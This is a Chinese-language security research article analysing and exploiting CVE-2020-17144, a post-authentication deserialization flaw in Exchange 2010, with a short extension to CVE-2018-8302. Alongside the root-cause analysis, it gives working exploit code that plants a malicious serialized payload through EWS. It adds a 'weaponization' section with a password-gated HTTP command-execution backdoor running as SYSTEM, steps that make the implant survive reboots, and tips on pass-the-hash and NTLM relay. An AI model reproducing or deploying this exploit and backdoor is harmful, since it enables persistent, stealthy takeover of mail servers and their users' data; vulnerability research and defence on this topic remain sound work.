0x00 前言
和CVE-2018-8302、CVE-2020-0688类似,CVE-2020-17144同属需登录后利用的反序列化漏洞,但仅影响Exchange2010服务器。
与CVE-2020-0688不同,由于漏洞本身有趣的成因和触发条件,在利用时无需明文密码,只要具备NTHash即可成功,在利用方式上会相对更加灵活。同时,存在漏洞的功能点本身具备持久化功能,利用成功后将直接进行持久化行为,在不修复漏洞的情况下将永远存在,其危害性和隐蔽性远大于CVE-2020-0688。
0x01 背景
Exchange提供了MRM功能对邮件生存周期进行管理,参考https://docs.microsoft.com/en-us/exchange/policy-and-compliance/mrm/retention-tags-and-retention-policies,其内部通过“标签”和“策略”进行实现。原文表述较为晦涩,简单总结就是:对一类邮件打上相同的标签(Tag),创建策略(例如定期删除)并应用到某个标签,使得被打上标签的邮件由邮箱助理模块定期统一进行处理。
微软在Exchange2010中设计了一个机器学习功能,通过逻辑回归算法计算邮箱内全部邮件的标签状态,并为邮件自动标记。机器学习将生成模型,模型信息将保存至收件箱的用户配置中。用户配置可以近似理解为一个以字符串为键的字典,其值可能为字典、XML或二进制流三种格式。在机器学习功能中,模型的保存格式为二进制流,其内容为.net二进制序列化数据。
自动标记功能默认不会开启,但无论是否开启都不影响邮箱助理处理过程中进行的模型初始化加载,此过程在用户修改模型配置和邮箱助手启动时均会触发。
0x02 分析
此漏洞成因简单粗暴,首先,模型加载由[Microsoft.Exchange.InfoWorker.Common]Microsoft.Exchange.InfoWorker.Common.ELC.AutoTagging.MailboxManager::LoadModel方法进行实现,其代码极为简略:
internal bool LoadModel(out LearningModel learningModel, out MessageTransformer messageTransformer, bool parseFai) { messageTransformer = null; learningModel = null; using (UserConfiguration userConfiguration = ElcMailboxHelper.OpenFaiMessage(mailboxSession, "MRM.AutoTag.Model", createIfMissing: false)) { if (userConfiguration == null) { return false; } if (parseFai) { return DeserializeModelFAI(userConfiguration, out learningModel, out messageTransformer); } } return true; }
OpenFaiMessage将从收件箱直接读取配置并返回。由于任意用户均可对自身配置进行任意修改,这里是一个可控输入:
internal static UserConfiguration OpenFaiMessage(MailboxSession mailboxSession, string faiMessageClass, bool createIfMissing) { ..... StoreId defaultFolderId = mailboxSession.GetDefaultFolderId(DefaultFolderType.Inbox); try { userConfiguration = mailboxSession.UserConfigurationManager.GetFolderConfiguration(faiMessageClass, UserConfigurationTypes.Stream | UserConfigurationTypes.XML | UserConfigurationTypes.Dictionary, defaultFolderId); } ..... return userConfiguration; }
随后DeserializeModelFAI方法将在没有任何SerializationBinder的情况下直接进行反序列化:
private bool DeserializeModelFAI(UserConfiguration configItem, out LearningModel learningModel, out MessageTransformer messageTransformer) { ..... try { using (Stream serializationStream = configItem.GetStream()) { IFormatter formatter = new BinaryFormatter(); learningModel = (LearningModel)formatter.Deserialize(serializationStream); messageTransformer = (MessageTransformer)formatter.Deserialize(serializationStream); result = true; } } ..... return result; }
0x02 利用
想要成功利用漏洞,便需要一个修改操作服务器端UserConfiguration对象的方式。除了常规邮件服务与OWA,Exchange提供还提供了EWS接口供客户端调用,其对应的客户端类库为Microsoft.Exchange.WebServices.dll。
熟悉EWS开发的话都会知道,客户端类库中的对象模型与服务器对象模型几乎完全对应。实际上完全不需要查询MSDN即可找到所需类型Microsoft.Exchange.WebServices.Data.UserConfiguration,其定义如下:
public class UserConfiguration : IJsonSerializable { ... public string Name { get { return name; } internal set { name = value; } } public FolderId ParentFolderId { get { return parentFolderId; } internal set { parentFolderId = value; } } public ItemId ItemId => itemId; public UserConfigurationDictionary Dictionary => dictionary; public byte[] XmlData { get { ValidatePropertyAccess(UserConfigurationProperties.XmlData); return xmlData; } set { xmlData = value; MarkPropertyForUpdate(UserConfigurationProperties.XmlData); } } public byte[] BinaryData { get { ValidatePropertyAccess(UserConfigurationProperties.BinaryData); return binaryData; } set { binaryData = value; MarkPropertyForUpdate(UserConfigurationProperties.BinaryData); } } ... }
对照方法定义很容易写出以下Exp:
ExchangeService service = new ExchangeService(ExchangeVersion.Exchange2010); service.Credentials = new WebCredentials("zcgonvh","P@ssw0rd!"); service.Url = new Uri("https://target/ews/Exchange.asmx"); { byte[] data = EVIL-SERIALIZED-BUFFER; UserConfiguration u = null; Folder folder = Folder.Bind(service, WellKnownFolderName.Inbox); u = new UserConfiguration(service); u.BinaryData = data; u.Save("MRM.AutoTag.Model", folder.Id); }
其中EVIL-SERIALIZED-BUFFER为通过ActivitySurrogateSelectorGenerator生成的二进制序列化数据,注意需要更新为修复兼容性的版本,并使用.net 3.5进行编译。
执行后,目标服务器MSExchangeMailboxAssistants.exe进程将连续进行多次反序列化。
0x03 分析
代码执行仅仅是利用第一步。通过上述利用过程可以观察到一个现象:我们访问了EWS,设置了一个邮箱文件夹对象上的属性,而漏洞由MSExchangeMailboxAssistants.exe进行触发。
这个现象已经并非单纯的web代码审计,我们需要站在更高的系统层面进行理解。在https://docs.microsoft.com/zh-cn/exchange/architecture/architecture?view=exchserver-2019可以看到Exchange体系结构图,单纯考虑此漏洞所涉及的系统进行简化整理,可以得到如下流程图:
实际上,无论是通过接口或是客户端,对配置、邮件等服务器对象的修改都会直接体现在Storage所存储的内容中,这是一个数据持久化与共享行为。任何读取邮件数据的服务实际上等同于读取Storage,从而造成了我们观察到由MSExchangeMailboxAssistants服务进行反序列化的结果。
此时回到代码审计的领域分析具体触发位置。MSExchangeMailboxAssistants实现了一个托管的windows服务,从其入口点Microsoft.Exchange.MailboxAssistants.Assistants.AssistantsService.OnStartInternal可以看到注册了大量经由时间或事件触发的功能:
protected override void OnStartInternal(string[] args) { ... databaseManager = (DatabaseManager)(object)new DatabaseManager("MSExchangeMailboxAssistants", 50, InfoworkerAssistants.CreateEventBasedAssistantTypes(), InfoworkerAssistants.CreateTimeBasedAssistantTypes(), true); databaseManager.Start(); ... }
CreateEventBasedAssistantTypes方法将注册Microsoft.Exchange.MailboxAssistants.Assistants.ELC.ElcEventBasedAssistant类,其HandleEventInternal方法会判断是否为AutoTag配置,我们可以看到熟悉的名称MRM.AutoTag.Model:
internal static bool IsAutoTagFai(MapiEvent mapiEvent) { if ((int)mapiEvent.get_ClientType() != 6 && (mapiEvent.get_EventFlags() & 1) != 0) { if (string.Compare(mapiEvent.get_ObjectClass(), "IPM.Configuration.MRM.AutoTag.Model", StringComparison.OrdinalIgnoreCase) != 0) { return string.Compare(mapiEvent.get_ObjectClass(), "IPM.Configuration.MRM.AutoTag.Setting", StringComparison.OrdinalIgnoreCase) == 0; } return true; } return false; }
如是,则将在后续过程中调用Microsoft.Exchange.MailboxAssistants.Assistants.ELC.RetentionPolicyCheck::LoadAutoTagFai方法,此方法负责模型初始化加载,并进入实际的反序列化调用。
0x04 武器化
现在已经能够在远程执行任意命令,然而在实战利用中远远不够。我们不能确定对方是否能够真正联网,一个没有稳定控制通道的漏洞利用在实战中价值并不高。
我们只能确定能够访问到目标的EWS,那么如何进行稳定控制?我们当然可以写入WebShell,但这仅仅是下策。MSExchangeMailboxAssistants本身通过SYSTEM账户运行,所以完全可以通过调用HTTP API进行端口复用,劫持EWS某个未被注册的端点供外部访问。
NetFX提供了HttpListener提供了HTTP API的托管访问,参考https://docs.microsoft.com/en-us/dotnet/api/system.net.httplistener?view=net-5.0,使用以下代码即可在/ews/soap/路径建立一个Http监听器,并执行request["pass"]提供的命令:
string password = "pass"; try { if (!HttpListener.IsSupported){return;} HttpListener listener = new HttpListener(); listener.Prefixes.Add("http://*:80/ews/soap/"); listener.Start(); while (true) { HttpListenerContext context = listener.GetContext(); HttpListenerRequest request = context.Request; HttpListenerResponse response = context.Response; Stream stm = null ; string cmd=request.QueryString[password]; if(!string.IsNullOrEmpty(cmd)) { try { Process p = new Process(); p.StartInfo.FileName = cmd; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.RedirectStandardError = true; p.Start(); byte[] data = Encoding.UTF8.GetBytes(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd()); response.StatusCode = 200; response.ContentLength64 = data.Length; stm = response.OutputStream; stm.Write(data, 0, data.Length); } catch { response.StatusCode = 404; } finally { if(stm!=null) { stm.Close(); } } } else { response.StatusCode = 404; response.OutputStream.Close(); } } } catch{}
由于会多次触发反序列化行为,为了防止阻塞以及跑出异常,需要开启新线程进行监听,完整代码大致如下:
namespace Zcg.Exploit.Remote { public class SimpleExecutionRemoteStub { public SimpleExecutionRemoteStub() { new Thread(Listen).Start(); } void Listen() { .... } } }
编译,使用新用户执行后访问/ews/soap/?pass=whoami,不出意外将得到whoami的输出结果:
至此利用圆满达成?并不,这里还有一个严重的问题需要解决:无法多次利用。例如,使用曾经进行过漏洞利用的用户继续测试,将不会成功;同时虽然序列化数据本身是持久化的,但重启之后依然无法生效。这两个情况将导致漏洞只能使用一次,在实战中是不可接受的。
解决此问题需要重新审视触发点ElcEventBasedAssistant,代码中可发现名为IsEventInteresting的方法,根据名称很容易推测是一个判断是否需要触发事件的开关。
此方法内调用了NeedToAutoTag方法验证是否需要自动标签功能,其代码如下:
private bool NeedToAutoTag(MapiEvent mapiEvent, UserRetentionPolicyCache userRetentionPolicyCache) { if ((mapiEvent.get_EventMask() & 2) != 0 && userRetentionPolicyCache != null && userRetentionPolicyCache.AutoTagCache != null && userRetentionPolicyCache.AutoTagCache.UserSetting != null && userRetentionPolicyCache.AutoTagCache.UserSetting.AutoTagEnabled) { Tracer.TraceDebug<object, MapiEvent>((long)GetHashCode(), "{0}: this event is interesting because it is new mail and auto tagging is enabled: {1}", TraceContext.Get(), mapiEvent); return true; } return false; }
可以看到,新用户默认会进行一次模型加载处理,这是最初可以成功利用的原因,而后续利用因为AutoTagEnabled默认为false导致失败。
AutoTagEnabled是Microsoft.Exchange.InfoWorker.Common.ELC.AutoTagging.AutoTagUserSetting的成员,很明显是一个简单模型类。简单搜索AutoTagEnabled即可发现此类由Microsoft.Exchange.InfoWorker.Common.ELC.AutoTagging.MailboxManager::LoadUserSettings读取名为MRM.AutoTag.Setting的配置,尝试从字典中获取名为AutoTagEnabled的布尔值,并为AutoTagUserSetting::AutoTagEnabled赋值。
所以只要略加修改poc,加入对MRM.AutoTag.Setting的修改即可:
byte[] data = GeneratePayload(File.ReadAllBytes("e.dll")); UserConfiguration u = null; Folder folder = Folder.Bind(service, WellKnownFolderName.Inbox); try { u=UserConfiguration.Bind(service,"MRM.AutoTag.Model",folder.Id,UserConfigurationProperties.BinaryData); u.Delete(); }catch{} try { u=UserConfiguration.Bind(service,"MRM.AutoTag.Setting",folder.Id,UserConfigurationProperties.Dictionary); u.Delete(); }catch{} u = new UserConfiguration(service); u.BinaryData = data; u.Save("MRM.AutoTag.Model", folder.Id); try { u = new UserConfiguration(service); u.Dictionary["AutoTagEnabled"] = true; u.Dictionary["NumberOfPredictedEmail"] = 0; u.Dictionary["NumberOfCorrectedEmail"] = 0; u.Dictionary["NumberOfRetaggedEmail"] = 0; u.Save("MRM.AutoTag.Setting", folder.Id); }catch{}
注意由于此配置默认可能存在,所以需要删除或覆盖。
编译执行后重启,直接访问/ews/soap/?pass=whoami依然可以执行命令,至此漏洞利用完美达成。
最后两个补充:
1、很多情况下Exchange外部存在代理且仅允许https访问,此时端口复用也应该修改为https协议。
2、EWS支持NTLM协议认证,采用Relay或是Hash登录均可作为明文密码的替代品,是某些情况下可选的攻击方案。
0x05 拓展:CVE-2018-8302
同样是[Microsoft.Exchange.InfoWorker.Common]类库,在Microsoft.Exchange.InfoWorker.Common.TopN.TopNConfiguration::ReadWordFrequencyMap方法中可以看到对TopNWords.Data的反序列化,但添加了检查类型检查来确保安全性。
internal bool ReadWordFrequencyMap() { using (UserConfiguration userConfiguration = OpenMessage(createIfMissingOrCorrupt: true)) { if (userConfiguration != null) { using (Stream stream = userConfiguration.GetStream()) { Exception ex = null; try { Type[] allowList = new Type[1] { typeof(KeyValuePair<string, int>) }; wordFrequency = (KeyValuePair<string, int>[])SafeSerialization.SafeBinaryFormatterDeserializeWithAllowList(stream, allowList); } .... } } .... } } private UserConfiguration OpenMessage(bool createIfMissingOrCorrupt) { UserConfiguration userConfiguration = null; StoreId defaultFolderId = mailboxSession.GetDefaultFolderId(DefaultFolderType.Inbox); Exception ex = null; try { userConfiguration = mailboxSession.UserConfigurationManager.GetFolderConfiguration("TopNWords.Data", UserConfigurationTypes.Stream | UserConfigurationTypes.Dictionary, defaultFolderId); } .... return userConfiguration; }
除了白名单列表外的代码如出一辙,是的没错,这就是CVE-2018-8302的漏洞位置。将MRM.AutoTag.Model替换为TopNWords.Data,即可作为exp直接利用。
当然,现在来看这一点只存在研究意义,漏洞的影响范围已经基本被CVE-2020-0688和CVE-2020-17144完全覆盖。
0x06 总结
我个人不喜欢论文性质的总结(实质上是非常厌恶),浪费时间且起不到实质效果。总结的本质应当升华文章主题并提出更高层次或更加深入的思想,而不是由打工人回退至论文狗。
无论何种语言,二进制反序列化均属于老旧技术。BinaryFormatter在微软的开发规范中已经被标为弃用,Exchange从去年的某个补丁开始(大概是2016CU13)已经为所有的反序列化添加了包装和默认黑白名单,对漏洞进行了基本的防御。
但无论如何,三次在大多数人认知中不属于Exchange的反序列化漏洞应当引起警示。至少在漏洞挖掘中,采用更高一层次的目光着眼于整个系统的体系架构并寻找漏洞,之后结合系统本身与部署环境等多个特性发掘更有利实战的隐蔽利用方式是非常有效的。
而在防御角度看,单纯的序列化/反序列化行为应当仅仅限制在传输基本数据的组合而非包含逻辑的数据,实际上任何使用类似行为的位置都应考虑微软的解决方案,即:任意需求序列化数据的调用方应明确需要何种数据模型,并提供至序列化过程;序列化过程应根据调用方显式提供的模型决定行为,而非数据本身对模型的自描述。
最后顺便一说,Exchange邮箱实现和架构都是可以借鉴的,有相当一部分大型邮件系统使用类似的方式存放大量可能的动态数据。类似的动态行为(尤其是底层大量依赖DI、代码生成、缓存反射等实现的基础设施)实际上很难由自动化工具进行挖掘或测试,漏洞挖掘到了最后一定需要转换为开发和架构的思想,才能百战不殆。
Github: http://github/zcgonvh/CVE-2020-17144
附件:没有,去github下载吧,都0202年了还有人找不到注释密码我也很无奈啊……